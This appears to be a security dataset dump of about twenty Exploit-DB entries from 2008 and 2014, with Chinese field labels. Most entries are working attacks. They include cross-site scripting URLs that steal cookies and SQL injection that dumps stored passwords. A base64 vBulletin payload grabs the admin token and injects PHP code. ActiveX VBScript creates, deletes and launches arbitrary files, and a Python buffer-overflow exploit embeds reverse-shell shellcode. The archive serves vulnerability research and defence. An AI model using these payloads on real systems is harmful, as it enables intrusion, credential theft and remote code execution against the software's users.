QLWD/code_shield huggingface dataset:
标题: Vim 7.x - Vim Script Multiple Command Execution Vulnerabilities EDB-ID: 31911 CVE: 2008-2712 类型: LOCAL 平台: LINUX 发布日期: 2008-06-14 漏洞利用脚本: source: https://www.securityfocus.com/bid/29715/info

Vim is prone to multiple command-execution vulnerabilities because the application fails to sufficiently sanitize user-supplied data.

Successfully exploiting these issues can allow an attacker to execute arbitrary commands with the privileges of the user running the affected application.

Vim 7.1.298 is vulnerable; other versions may also be affected.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/32055.zip
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/31911-2.zip
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/31911-3.zip URL: https://www.exploit-db.com/exploits/31911
标题: PHPEasyData 1.5.4 - 'last_records.php?annuaire' Cross-Site Scripting EDB-ID: 31906 CVE: 2008-2994 类型: WEBAPPS 平台: PHP 发布日期: 2008-06-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/29659/info
  
PHPEasyData is prone to multiple SQL-injection and cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
  
An attacker may leverage the cross-site scripting issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
  
Attackers may exploit the SQL-injection issues to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
  
PHPEasyData 1.5.4 is vulnerable; other versions may also be affected.

http://[website]/last_records.php?annuaire=%3Cscript%3Ealert(document.cookie)%3C/script%3E URL: https://www.exploit-db.com/exploits/31906
标题: Sun GlassFish 2.1 - 'name' Cross-Site Scripting EDB-ID: 31901 CVE: 2008-5266 类型: REMOTE 平台: MULTIPLE 发布日期: 2008-06-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/29646/info

Sun Glassfish is prone to a cross-site scripting vulnerability because the application fails to sufficiently sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks. 

http://www.example.com/configuration/httpListenerEdit.jsf?name=<IMG SRC=javascript:alert(&#039;DSecRG_XSS&#039;)>&configName=server-config URL: https://www.exploit-db.com/exploits/31901
标题: PHPEasyData 1.5.4 - 'annuaire.php?annuaire' SQL Injection EDB-ID: 31904 CVE: 2008-2995 类型: WEBAPPS 平台: PHP 发布日期: 2008-06-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/29659/info

PHPEasyData is prone to multiple SQL-injection and cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage the cross-site scripting issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Attackers may exploit the SQL-injection issues to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

PHPEasyData 1.5.4 is vulnerable; other versions may also be affected.

http://[website]/annuaire.php?annuaire=29%20union%20select%20user_pass,user_login,user_fname,user_access%20from%20an_users URL: https://www.exploit-db.com/exploits/31904
标题: vBulletin 3.6.10/3.7.1 - 'redirect' Cross-Site Scripting EDB-ID: 31910 CVE: 2008-2744 类型: WEBAPPS 平台: PHP 发布日期: 2008-06-13 漏洞利用脚本: source: https://www.securityfocus.com/bid/29704/info

vBulletin is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

vBulletin 3.7.1 and 3.6.10 are vulnerable; other versions may also be affected.

http://www.example.com/vB3/admincp/index.php?redirect={XSS}
http://www.example.com/vB3/admincp/index.php?redirect=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K
http://www.example.com/vB3/admincp/index.php?redirect=data:text/html;base64,PHNjcmlwdD5ldmFsKCJ1PSdhcHBsaWNhdGlvbi94LXd3dy1mb3JtLXVybGVuY29kZWQnO2M9J0NvbnRlbnQtdHlwZSc7ZD0nQ29udGVudC1sZW5ndGgnO3JlZz0gbmV3IFhNTEh0dHBSZXF1ZXN0KCk7cmVnLm9wZW4oJ0dFVCcsICdodHRwOi8vbG9jYWxob3N0L3ZCL3VwbG9hZC9hZG1pbmNwL3BsdWdpbi5waHA/ZG89YWRkJywgZmFsc2UpO3JlZy5zZW5kKG51bGwpO3IgPSByZWcucmVzcG9uc2VUZXh0O3Q9J2h0dHA6Ly9sb2NhbGhvc3QvdkIvdXBsb2FkL2FkbWluY3AvcGx1Z2luLnBocCc7aD0nJmFkbWluaGFzaD0nK3Iuc3Vic3RyKHIuaW5kZXhPZignaGFzaFwiJykrMTMsMzIpO3RvPScmc2VjdXJpdHl0b2tlbj0nK3Iuc3Vic3RyKHIuaW5kZXhPZigndG9rZW5cIicpKzE0LDQwKTt0Mj0ncHJvZHVjdD12YnVsbGV0aW4maG9va25hbWU9Zm9ydW1ob21lX3N0YXJ0JmRvPXVwZGF0ZSZ0aXRsZT1mb28mZXhlY3V0aW9ub3JkZXI9MSZwaHBjb2RlPXBocGluZm8oKTsmYWN0aXZlPTEnK2grdG87cjIgPSBuZXcgWE1MSHR0cFJlcXVlc3QoKTtyMi5vcGVuKCdQT1NUJywgdCwgZmFsc2UpO3IyLnNldFJlcXVlc3RIZWFkZXIoZCwgdDIubGVuZ3RoKTtyMi5zZXRSZXF1ZXN0SGVhZGVyKGMsdSk7cjIuc2VuZCh0Mik7dD0naHR0cDovL2xvY2FsaG9zdC92Qi91cGxvYWQvYWRtaW5jcC9vcHRpb25zLnBocCc7dDI9J2RvPWRvb3B0aW9ucyZzZXR0aW5nW2VuYWJsZWhvb2tzXT0xJytoK3Rv URL: https://www.exploit-db.com/exploits/31910
标题: Flat Calendar 1.1 - Multiple Administrative Scripts Authentication Bypass Vulnerabilities EDB-ID: 31908 CVE: 2008-6736 类型: WEBAPPS 平台: PHP 发布日期: 2008-06-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/29662/info

Flat Calendar is prone to multiple authentication-bypass vulnerabilities because it fails to perform adequate authentication checks.

An attacker can exploit these issues to gain unauthorized access to the application and make arbitrary changes to its configuration. This may lead to further attacks.

Flat Calendar 1.1 is vulnerable; other versions may also be affected. 

http://www.example.com/calender_path/admin/add.php
http://www.example.com/calender_path/admin/deleteEvent.php?eventNumber=[EVENTNUMBERid] URL: https://www.exploit-db.com/exploits/31908
标题: PHPEasyData 1.5.4 - 'annuaire.php' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 31907 CVE: 2008-2994 类型: WEBAPPS 平台: PHP 发布日期: 2008-06-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/29659/info
   
PHPEasyData is prone to multiple SQL-injection and cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
   
An attacker may leverage the cross-site scripting issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
   
Attackers may exploit the SQL-injection issues to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
   
PHPEasyData 1.5.4 is vulnerable; other versions may also be affected.

http://[website]/annuaire.php?annuaire=30&sort_field=2&cat_id=&by=%3Cscript%3Ealert(document.cookie)%3C/script%3E

http://[website]/annuaire.php?annuaire=30&sort_field=2&cat_id=%3Cscript%3Ealert(document.cookie)%3C/script%3E

http://[website]/annuaire.php?annuaire=%3Cscript%3Ealert(document.cookie)%3C/script%3E URL: https://www.exploit-db.com/exploits/31907
标题: Diigo Toolbar and Diigolet Comment Feature - HTML Injection / Information Disclosure EDB-ID: 31890 CVE: 2008-7184 类型: REMOTE 平台: MULTIPLE 发布日期: 2008-06-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/29611/info

Diigo Toolbar and Diigolet are prone to an HTML-injection vulnerability and an information-disclosure vulnerability when handling data via the 'comment' feature.

An attacker can exploit the HTML-injection issue to run arbitrary HTML and script code in the plugin of an unsuspecting user in the context of the domain on which a shared comment was made. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

The attacker can exploit the information-disclosure issue via successful man-in-the-middle attacks. Information harvested may aid in further attacks.

<script src="http://example.com/xssshell/"></script> URL: https://www.exploit-db.com/exploits/31890
标题: Tornado Knowledge Retrieval System 4.2 - 'p' Cross-Site Scripting EDB-ID: 31892 CVE: 2008-5264 类型: WEBAPPS 平台: CGI 发布日期: 2008-06-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/29626/info

Tornado Knowledge Retrieval System is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.

Tornado Knowledge Retrieval System 4.2 is vulnerable; prior versions may also be affected.

http://www.example.com/tornado/searcher.exe?v=root&p=<script>alert(/xss/)</script> URL: https://www.exploit-db.com/exploits/31892
标题: Sendy 1.1.8.4 - SQL Injection EDB-ID: 31898 CVE: 2014-100012 类型: WEBAPPS 平台: PHP 发布日期: 2014-02-25 漏洞利用脚本: # Exploit Title: Sendy SqlInject
# Date: 2014-02-24
# Exploit Author: Hurley
# Vendor Homepage: http://sendy.co/
# Software Link: http://sendy.co/
# Version: 1.1.8.4

Demo page:
http://server/app?i=1+union+all+select+1,2,3,4,5,6,@@version,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22-- URL: https://www.exploit-db.com/exploits/31898
标题: F5 FirePass 6.0.2.3 - '/vdesk/admincon/index.php?sql_matchscope' Cross-Site Scripting EDB-ID: 31886 CVE: 2008-2637 类型: REMOTE 平台: HARDWARE 发布日期: 2008-06-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/29574/info
 
F5 FirePass SSL VPN is prone to multiple cross-site request-forgery vulnerabilities because it fails to adequately sanitize user-supplied input.
 
Exploiting these issues may allow a remote attacker to execute arbitrary actions in the context of the affected application.
 
FirePass 6.0.2 hotfix 3 is vulnerable; other versions may also be affected.

https://www.example.com/vdesk/admincon/index.php?a=css&sub=sql&sql_matchscope=%22+onfocus%3Dalert%28%26quot%3BXSS2%26quot%3B%29+foo%3D%22&save_sql_matchscope=Update URL: https://www.exploit-db.com/exploits/31886
标题: F5 FirePass 6.0.2.3 - '/vdesk/admincon/webyfiers.php?css_exceptions' Cross-Site Scripting EDB-ID: 31885 CVE: 2008-2637 类型: REMOTE 平台: HARDWARE 发布日期: 2008-06-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/29574/info

F5 FirePass SSL VPN is prone to multiple cross-site request-forgery vulnerabilities because it fails to adequately sanitize user-supplied input.

Exploiting these issues may allow a remote attacker to execute arbitrary actions in the context of the affected application.

FirePass 6.0.2 hotfix 3 is vulnerable; other versions may also be affected.

https://www.example.com/vdesk/admincon/webyfiers.php?a=css&click=1&css_exceptions=%22+onfocus%3Dalert%28%26quot%3BXSS1%26quot%3B%29+foo%3D%22&save_css_exceptions=Update URL: https://www.exploit-db.com/exploits/31885
标题: Technicolor TC7200 - Credentials Disclosure EDB-ID: 31894 CVE: 2014-1677 类型: WEBAPPS 平台: HARDWARE 发布日期: 2014-02-25 漏洞利用脚本: # Exploit Title: Technicolor TC7200: Authentication Bypass
# Google Dork: N/A
# Date: 24-02-2014
# Exploit Author: Jeroen - IT Nerdbox
# Vendor Homepage: http://www.technicolor.com/
# Software Link: http://www.technicolor.com/en/solutions-services/connected-home/modems-gateways/cable-modems-gateways/tc7200-tc7300
# Version: STD6.01.12
# Tested on: N/A
# CVE : CVE-2014-1677
#

## Description:
#
# Any user on the internal network can download a backup configuration file without authenticating first. The backup file contains
# the credentials to the administrative web interface.
#
## PoC:
#
# Download the file: http://192.168.0.1/goform/system/GatewaySettings.bin
# 
# Using the command: $ hexedit -C GatewaySettings.bin
#
# 00006590  00 00 00 00 00 00 00 00  30 4d 4c 6f 67 00 06 00 |........0MLog...|
# 000065a0  05 61 64 6d 69 6e 00 15  6d 79 73 75 70 65 72 73 |.admin..mysupers|
# 000065b0  65 63 72 65 74 70 61 73  73 77 6f 72 64 00 06 75 |ecretpassword..u|
# 000065c0  70 63 63 73 72 00 00                             |pccsr..|
# 000065c7
#
# 

# More information can be found at:http://www.nerdbox.it/technicolor-tc7200-auth-bypass-dos/ URL: https://www.exploit-db.com/exploits/31894
标题: ALFTP FTP Client 4.1/5.0 - 'LIST' Directory Traversal EDB-ID: 31887 CVE: 2008-2702 类型: REMOTE 平台: LINUX 发布日期: 2008-06-06 漏洞利用脚本: source: https://www.securityfocus.com/bid/29585/info

ALFTP is prone to a directory-traversal vulnerability because the application fails to sufficiently sanitize user-supplied input. This issue occurs in the FTP client.

Exploiting this issue will allow an attacker to write arbitrary files to locations outside of the application's current directory. This could help the attacker launch further attacks.

ALFTP 4.1 beta 2 (English) and 5.0 (Korean) are vulnerable; other versions may also be affected.

Response to LIST (backslash):

\..\..\..\..\..\..\..\..\..\testfile.txt\r\n

Response to LIST (forward-slash):
/../../../../../../../../../testfile.txt\r\n URL: https://www.exploit-db.com/exploits/31887
标题: HP Instant Support 1.0.22 - 'HPISDataManager.dll' ActiveX Control Arbitrary File Creation EDB-ID: 31878 CVE: 2008-0952 类型: DOS 平台: WINDOWS 发布日期: 2008-06-03 漏洞利用脚本: source: https://www.securityfocus.com/bid/29535/info

HP Instant Support 'HPISDataManager.dll' ActiveX control is prone to a vulnerability that lets attackers create and overwrite files with arbitrary, attacker-controlled content.

Successful exploits may compromise affected computers and aid in further attacks.

HP Instant Support 1.0.0.22 and earlier versions are affected.

NOTE: This issue was previously covered in BID 29526 (HP Instant Support 'HPISDataManager.dll' ActiveX Control Unspecified Code Execution Vulnerabilities), but has been given its own record because of new information.

<?XML version='1.0' standalone='yes' ?> <package><job id='DoneInVBS' debug='false' error='true'> <object classid='clsid:14C1B87C-3342-445F-9B5E-365FF330A3AC' id='target' /> <script language='vbscript'> targetFile = "C:\WINDOWS\Downloaded Program Files\HPISDataManager.dll" prototype = "Sub AppendStringToFile ( ByVal bstrInputFileName As String , ByVal bstrInputString As String )" memberName = "AppendStringToFile" progid = "HPISDataManagerLib.Datamgr" argCount = 2 arg1="c:\evil.exe" arg2=String("CSIS entered this") target.AppendStringToFile arg1 ,arg2 </script></job></package> URL: https://www.exploit-db.com/exploits/31878
标题: HP Instant Support 1.0.22 - 'HPISDataManager.dll RegistryString' Buffer Overflow EDB-ID: 31877 CVE: 2007-5607 类型: DOS 平台: WINDOWS 发布日期: 2008-06-04 漏洞利用脚本: source: https://www.securityfocus.com/bid/29534/info

HP Instant Support 'HPISDataManager.dll' ActiveX control is prone to a remote buffer-overflow vulnerability because it fails to perform adequate boundary checks on user-supplied input.

An attacker can exploit this issue to execute arbitrary code in the context of an application using the ActiveX control (typically Internet Explorer). Failed attacks will likely cause denial-of-service conditions.

HP Instant Support 1.0.0.22 and earlier versions are affected.

NOTE: This issue was previously covered in BID 29526 (HP Instant Support 'HPISDataManager.dll' ActiveX Control Unspecified Code Execution Vulnerabilities), but has been given its own record because of new information.

<?XML version='1.0' standalone='yes' ?> <package><job id='DoneInVBS' debug='false' error='true'> <object classid='clsid:14C1B87C-3342-445F-9B5E-365FF330A3AC' id='target' /> <script language='vbscript'> 'for debugging/custom prolog targetFile = "C:\WINDOWS\Downloaded Program Files\HPISDataManager.dll" prototype = "Property Let RegistryString ( ByVal bstrRegistryKey As String , ByVal bUserKey As Long ) As String" memberName = "RegistryString" progid = "HPISDataManagerLib.Datamgr" argCount = 3 arg1=String(2068, "B") arg2=1 arg3="defaultV" target.RegistryString(arg1 ,arg2 ) = arg3 </script></job></package> URL: https://www.exploit-db.com/exploits/31877
标题: HP Instant Support 1.0.22 - 'HPISDataManager.dll StartApp' ActiveX Control Insecure Method EDB-ID: 31876 CVE: 2008-0953 类型: DOS 平台: WINDOWS 发布日期: 2008-06-03 漏洞利用脚本: source: https://www.securityfocus.com/bid/29533/info


HP Instant Support 'HPISDataManager.dll' ActiveX control is prone to an insecure-method vulnerability.

Successfully exploiting this issue allows remote attackers to launch arbitrary applications with the privileges of the application running the ActiveX control (typically Internet Explorer).

Note that if the attacker could place a malicious executable on the system, they would be able to launch it using this vulnerability.

HP Instant Support 1.0.0.22 and earlier versions are affected.

NOTE: This issue was previously covered in BID 29526 (HP Instant Support 'HPISDataManager.dll' ActiveX Control Unspecified Code Execution Vulnerabilities), but has been given its own record because of new information. 

<?XML version='1.0' standalone='yes' ?> <package><job id='DoneInVBS' debug='false' error='true'> <object classid='clsid:14C1B87C-3342-445F-9B5E-365FF330A3AC' id='target' /> <script language='vbscript'> 'for debugging/custom prolog targetFile = "C:\WINDOWS\Downloaded Program Files\HPISDataManager.dll" prototype = "Function StartApp ( ByVal appName As String ) As String" memberName = "StartApp" progid = "HPISDataManagerLib.Datamgr" argCount = 1 arg1="c:\evilfile.exe" target.StartApp arg1 </script></job></package> URL: https://www.exploit-db.com/exploits/31876
标题: HP Instant Support 1.0.22 - 'HPISDataManager.dll' ActiveX Control Arbitrary File Delete EDB-ID: 31879 CVE: 2007-5610 类型: DOS 平台: WINDOWS 发布日期: 2008-06-03 漏洞利用脚本: source: https://www.securityfocus.com/bid/29536/info

HP Instant Support 'HPISDataManager.dll' ActiveX control is prone to a vulnerability that lets attackers delete arbitrary files on the affected computer in the context of the application using the ActiveX control. Successful attacks can result in denial-of-service conditions.

HP Instant Support 1.0.0.22 and earlier versions are affected.

NOTE: This issue was previously covered in BID 29526 (HP Instant Support 'HPISDataManager.dll' ActiveX Control Unspecified Code Execution Vulnerabilities), but has been given its own record because of new information.

<?XML version='1.0' standalone='yes' ?> <package><job id='DoneInVBS' debug='false' error='true'> <object classid='clsid:14C1B87C-3342-445F-9B5E-365FF330A3AC' id='target' /> <script language='vbscript'> 'for debugging/custom prolog targetFile = "C:\WINDOWS\Downloaded Program Files\HPISDataManager.dll" prototype = "Sub DeleteSingleFile ( ByVal pszFileName As String )" memberName = "DeleteSingleFile" progid = "HPISDataManagerLib.Datamgr" argCount = 1 arg1="c:\evil.exe" target.DeleteSingleFile arg1 </script></job></package> URL: https://www.exploit-db.com/exploits/31879
标题: Python - 'socket.recvfrom_into()' Remote Buffer Overflow EDB-ID: 31875 CVE: 2014-1912 类型: REMOTE 平台: LINUX 发布日期: 2014-02-24 漏洞利用脚本: #!/usr/bin/env python

'''
# Exploit Title: python socket.recvfrom_into() remote buffer overflow
# Date: 21/02/2014
# Exploit Author: @sha0coder
# Vendor Homepage: python.org
# Version: python2.7 and python3
# Tested on: linux 32bit + python2.7
# CVE : CVE-2014-1912



socket.recvfrom_into() remote buffer overflow Proof of concept
by @sha0coder

TODO: rop to evade stack nx 


(gdb) x/i $eip
=> 0x817bb28: mov    eax,DWORD PTR [ebx+0x4]       <--- ebx full control => eax full conrol
   0x817bb2b: test   BYTE PTR [eax+0x55],0x40
   0x817bb2f: jne    0x817bb38 -->
   ...
   0x817bb38: mov    eax,DWORD PTR [eax+0xa4]      <--- eax full control again
   0x817bb3e: test   eax,eax
   0x817bb40: jne    0x817bb58 -->
   ...
   0x817bb58: mov    DWORD PTR [esp],ebx
   0x817bb5b: call   eax <--------------------- indirect fucktion call ;)


$ ./pyrecvfrominto.py 
 egg file generated

$ cat egg | nc -l 8080 -vv

... when client connects ... or wen we send the evil buffer to the server ...

0x0838591c in ?? ()
1: x/5i $eip
=> 0x838591c: int3       <--------- LANDED!!!!!
   0x838591d: xor    eax,eax
   0x838591f: xor    ebx,ebx
   0x8385921: xor    ecx,ecx
   0x8385923: xor    edx,edx

'''

import struct

def off(o):
 return struct.pack('L',o)


reverseIP = '\xc0\xa8\x04\x34'   #'\xc0\xa8\x01\x0a'
reversePort = '\x7a\x69'


#shellcode from exploit-db.com, (remove the sigtrap)
shellcode = "\xcc\x31\xc0\x31\xdb\x31\xc9\x31\xd2"\
   "\xb0\x66\xb3\x01\x51\x6a\x06\x6a"\
   "\x01\x6a\x02\x89\xe1\xcd\x80\x89"\
   "\xc6\xb0\x66\x31\xdb\xb3\x02\x68"+\
   reverseIP+"\x66\x68"+reversePort+"\x66\x53\xfe"\
   "\xc3\x89\xe1\x6a\x10\x51\x56\x89"\
   "\xe1\xcd\x80\x31\xc9\xb1\x03\xfe"\
   "\xc9\xb0\x3f\xcd\x80\x75\xf8\x31"\
   "\xc0\x52\x68\x6e\x2f\x73\x68\x68"\
   "\x2f\x2f\x62\x69\x89\xe3\x52\x53"\
   "\x89\xe1\x52\x89\xe2\xb0\x0b\xcd"\
   "\x80"


shellcode_sz = len(shellcode)

print 'shellcode sz %d' % shellcode_sz


ebx =  0x08385908
sc_off = 0x08385908+20

padd = 'AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMM'

'''           
        +------------+----------------------+         +--------------------+
        |            |                      |         |                    |
        V            |                      |         V                    |
'''
buff = 'aaaa' + off(ebx) + 'aaaaaAAA'+ off(ebx) + shellcode + padd + off(sc_off)  # .. and landed ;)


print 'buff sz: %s' % len(buff)
open('egg','w').write(buff) URL: https://www.exploit-db.com/exploits/31875
标题: HP Instant Support 1.0.22 - 'HPISDataManager.dll ExtractCab' ActiveX Control Buffer Overflow EDB-ID: 31873 CVE: 2007-5604 类型: REMOTE 平台: WINDOWS 发布日期: 2008-06-03 漏洞利用脚本: source: https://www.securityfocus.com/bid/29529/info

HP Instant Support 'HPISDataManager.dll' ActiveX control is prone to a remote buffer-overflow vulnerability because it fails to perform adequate boundary checks on user-supplied input.

An attacker can exploit this issue to execute arbitrary code in the context of an application using the ActiveX control (typically Internet Explorer). Failed attacks will likely cause denial-of-service conditions.

HP Instant Support 1.0.0.22 and earlier versions are affected.

NOTE: This issue was previously covered in BID 29526 (HP Instant Support 'HPISDataManager.dll' ActiveX Control Unspecified Code Execution Vulnerabilities), but has been given its own record because of new information. 

<?XML version='1.0' standalone='yes' ?> <package><job id='DoneInVBS' debug='false' error='true'> <object classid='clsid:14C1B87C-3342-445F-9B5E-365FF330A3AC' id='target' /> <script language='vbscript'> 'for debugging/custom prolog targetFile = "C:\WINDOWS\Downloaded Program Files\HPISDataManager.dll" prototype = "Function ExtractCab ( ByVal filepath As String , ByVal destpath As String ) As String" memberName = "ExtractCab" progid = "HPISDataManagerLib.Datamgr" argCount = 2 arg1=String(277, "B") arg2="defaultV" target.ExtractCab arg1 ,arg2 </script></job></package> URL: https://www.exploit-db.com/exploits/31873